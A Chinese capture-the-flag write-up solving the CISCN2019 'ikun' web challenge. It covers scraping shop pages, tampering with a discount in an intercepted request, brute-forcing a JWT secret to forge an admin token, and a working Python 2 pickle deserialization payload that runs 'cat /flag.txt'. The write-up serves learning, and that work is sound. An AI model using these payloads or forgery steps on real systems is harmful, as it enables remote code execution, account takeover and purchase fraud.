题目链接: [CISCN2019 华北赛区 Day1 Web2]ikun.
写在前面
对于菜菜来说,真的是每一道题都能学到新的知识orzorz。
但是,本身网安的知识就是繁复的,也难以掌握全面,我觉得需要学到的是如何快速从题目中找寻到知识点并进行学习。
脚本小子
题目中有明显的提示要找到lv6.png所在页面
脚本小子出动,火速编写,发现在181页
import requests
for i in range(1, 1001, 1):
url = "http://60e5343c-8126-4686-9904-460daa610afa.node4.buuoj.cn:81/shop?page="
url += str(i)
x = requests.get(url)
if "lv6.png" in x.text:
print(i)
发现价格太贵了(叔叔我啊,最喜欢xx了),抓包修改折扣即可
JWT
然后发现该页面只允许admin访问。想到csrf,继续抓包查看。
发现cookie里面,多了这几个玩意,挨个搜索后发现jwt是一种token身份验证方式。其相对于session而言,无需在服务器端保存会话信息,在登陆后由服务器端采用如下加密方式,返回给客户端用作token身份认证。
JWTString=Base64(Header).Base64(Payload).HMACSHA256(base64UrlEncode(header)+"."+base64UrlEncode(payload),secret)
参考文章: JWT详解.
在网页 https://jwt.io/ 可以进行jwt的编码和解码,如下图所示。
现在需要做的就是爆破该jwt密钥,然后再进行admin身份伪造。其实在知道jwt构成原理后,就可以自己编写脚本找个字典进行爆破。但对于我这种不想重复造轮子的人(懒狗脚本小子),立马就去搜索别人的爆破脚本。
GITHUB链接: JWT brute-force爆破.
成功爆破出密钥1Kun,然后用该密钥进行身份伪造,最后成功伪造身份admin。
python pickle反序列化漏洞
F12一键发现源码!
一通代码审计,看到这里我还以为可以模板注入呢,但是完全不知道pickle是个啥玩意,搜了一下pickle,结果一下子就把payload搜出来了orz。
参考文章: Python Pickle反序列化漏洞.
简而言之,pickle的loads在进行反序列化的时候会调用__reduce__魔术方法,也就可以利用该魔术方法构造payload
python2 与 python3的基类继承
在python3.6后,class A 与 classA(object)已经等价,而本题目是在python2的环境下运行,经如下代码测试发现差别,不加object是没有__reduce__魔术方法的。
class A:
x=1
class B(object):
x=2
print(dir(B))
print(dir(A))
['__class__', '__delattr__', '__dict__', '__doc__', '__format__', '__getattribute__', '__hash__', '__init__', '__module__', '__new__', '__reduce__', '__reduce_ex__', '__repr__', '__setattr__', '__sizeof__', '__str__', '__subclasshook__', '__weakref__', 'x']
['__doc__', '__module__', 'x']
所以对于最后生成payload的脚本(其中dumps用来生成序列化结果),不加object会得到%28i__main__%0ATry%0Ap0%0A%28dp1%0Ab.的结果
class Try(object):
def __reduce__(self):
return (commands.getoutput, ('cat /flag.txt',))
a = Try()
print(urllib.quote(pickle.dumps(a)))
最终payload为ccommands%0Agetoutput%0Ap0%0A%28S%27cat%20/flag.txt%27%0Ap1%0Atp2%0ARp3%0A.
得到flag
写在后面
自己要学习的还有很多哇,有时候也会因为自己很多不会而焦虑。不过,慢慢来吧,学习是终生的事。